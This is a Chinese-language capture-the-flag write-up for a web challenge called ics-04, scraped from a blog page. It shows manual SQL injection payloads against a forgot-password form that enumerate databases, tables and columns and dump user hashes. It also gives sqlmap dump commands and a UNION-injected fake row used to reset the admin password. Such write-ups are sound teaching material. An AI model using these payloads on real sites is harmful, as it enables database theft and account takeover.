zoukankan      html  css  js  c++  java
  • ics-04

    ics-04

    根据提示我们直接观察注册和登录界面,先注册个账号,然后登录进去,提示普通用户登录没用,说明有一个非普通用户登录就会显示flag,这个用户的账号密码都在数据库里,所以我们进行sql注入,找到该用户的信息。

    先扫一下登录界面,没有注入点

    python2 sqlmap.py -r test1.txt --batch


    在扫一下注册界面,没有注入点


    扫一下忘记密码界面,这里存在注入点


    手工注入

    构造123456'''""""返回没有这个用户

    构造123456' -- +返回正常

    构造123456' and 1=1返回没有这个用户

    这就说明查询为假和查询语法错误都返回没有这个用户

    查询为真时返回正常

    爆列数

    123456' order by 5 返回没有这个用户

    123456' order by 4 返回正常

    说明列数是4列

    爆数据库

    13456' union select 11,22,33,44 -- +第三个位置回显

    接着构造13456' union select 11,22,datAbase(),44 -- +

    没有回显database(),说明database()被过滤了,并且大小写过滤没啥用。

    然后我试着直接爆表

    13456' union select 11,22,group_concat(table_name),44 from information_schema.tables where table_schema=database() -- +

    发现这时也没有回显表名,说明这要第三个位置有database()这个字符,就不会回显我们想要的信息,我们试着绕过database()的书写。

    构造13456' union select 11,22,group_concat(schema_name),44 from information_schema.schemata -- + 成功爆出数据库information_schema,cetc004,mysql,performance_schema

    我们所用的数据库是cetc004

    爆表

    13456' union select 11,22,group_concat(table_name),44 from information_schema.tables where table_schema="cetc004" -- + 爆出user表

    爆列名

    13456' union select 11,22,group_concat(column_name),44 from information_schema.columns where table_name="user" -- +

    username,password,question,answer,Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view

    虽然爆出这么多表,但实际上就只有前4个有用

    爆具体列

    13456' union select 11,22,group_concat(username,"~",password,"~",question,"~",answer),44 from cetc004.user -- +

    爆出

    c3tlwDmIn23~2f8667f381ff50ced6a3edc259260ba9~cetc~cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds,123456~e10adc3949ba59abbe56e057f20f883e~123456~123456

    显然密码经过了md5加密

    sqlmap爆库

    将bp抓包,将请求头放在sqlmap.py下的文件目录下

    python2 sqlmap.py -r test3.txt --current-db --batch 这里sqlmap也没爆出当前数据库,原因在于database()被过滤了


    爆数据库

    python2 sqlmap.py -r test3.txt --dbs --batch

    爆表

    python2 sqlmap.py -r test3.txt -D cetc004 --tables --batch

    爆列名

    python2 sqlmap.py -r test3.txt -D cetc004 -T user --columns --batch

    爆具体字段

    python2 sqlmap.py -r test3.txt -D cetc004 -T user -C "username,password,question,answer" --dump --batch

    思路一

    爆出数据库后,就卡在这里做不出来了,看了wp才知道这里有着同一个用户名可以多次注册的漏洞。

    我们已经知道了存在一个c3tlwDmIn23的用户,猜测登录这个用户就可获得flag,所以我们在注册页面,再用这个名字注册一个账户,密码自己随便设置,然后再登录用我们自己的密码即可。


    猜测后台类似代码类似于

    if($SESSION["username"]=="c3tlwDmIn23")
    {
      echo "flag{*******}"
    }
    

    思路二

    在忘记密码界面进行抓包。


    发现没有用户名,只有答案跟密码,那后台怎么判别是要修改哪个用户的密码呢?经过分析是通过SESSION判断


    每当用户查询成功一次,就会返回与这个用户相对应的PHPSESSID,这个PHPSESSID就是用户验证成功后在服务器存储一些信息的,这个SESSION对应数据库的信息,然后在之后的表单提交过程中进行对比。

    例如下面的php代码,就是一般登录后在服务器端通过session把数据存储下来。然后将再将这个session,返回给客户端,以后再访问该页面时,就会带上该对应的PHPSESSID,实现了会话的维持。

    function login($username,$password)
    {
    	....sql查询
    	if(登录成功)
    	{
    		session_start();
    		$_SESSION['username']=$username;
    		$_SESSION['password']=$password;
    	}
    }
    

    而这道题后台大概的修改密码的php代码可以为猜测如下:

    function check_user($username)
    {
    	$sql = "select * from user where username = '$username'";
    	$row = db_query($sql);
    	if(count($row)>0)
    	{
    		session_start();
    		$_SESSION['islogin'] = true;
    		$_SESSION['username']=$row[0]['username'];
    		$_SESSION['password']=$row[0]['password'];
    		$_SESSION['question']=$row[0]['question'];
    		$_SESSION['answer']  =$row[0]['answer'];
    		return true;
    	}
    	else
    	{
    		return false;
    	}
    }
    
    function update_password($answer,$password)
    {
    	session_start();
    	if($_SESSION['islogin'])
    	{
    		if($_SESSION['answer']===$answer&&$_SESSION['password']===md5($password))
    		{
    			session_start();
    			$_SESSION['auth'] = true;
    			return true;
    		}
    		else
    		{
    			return false;
    		}
    	}
    	return false;
    }
    
    function change_password($password)
    {
    	session_start();
    	if($_SESSION['auth']&&$_SESSION['islogin'])
    	{
    		$password = md5($password);
    		$sql = "update user set password='$password' where username='$_SESSION['username']'";
    		db_query($sql);
    		return true;
    	}
    	return false;
    }
    

    然后我们构造

    1' union select 'c3tlwDmIn23','202cb962ac59075b964b07152d234b70','1','2'# ,其中202cb962ac59075b964b07152d234b70是123的md5加密,

    然后密保答案就是2

    密码就是123

    进去修改密码页面,再改c3tlwDmIn23的密码,然后登录即可得到flag

    参考博客:https://www.cnblogs.com/suferma/p/12852430.html

  • 相关阅读:
    CSS之旅——第二站 如何更深入的理解各种选择器
    CSS之旅——第一站 为什么要用CSS
    记录一些在用wcf的过程中走过的泥巴路 【第一篇】
    asp.net mvc 之旅—— 第二站 窥探Controller下的各种Result
    asp.net mvc 之旅—— 第一站 从简单的razor入手
    Sql Server之旅——终点站 nolock引发的三级事件的一些思考
    Sql Server之旅——第十四站 深入的探讨锁机制
    Sql Server之旅——第十三站 对锁的初步认识
    Sql Server之旅——第十二站 sqltext的参数化处理
    Sql Server之旅——第十一站 简单说说sqlserver的执行计划
  • 原文地址:https://www.cnblogs.com/NineOne/p/13896373.html
Copyright © 2011-2022 走看看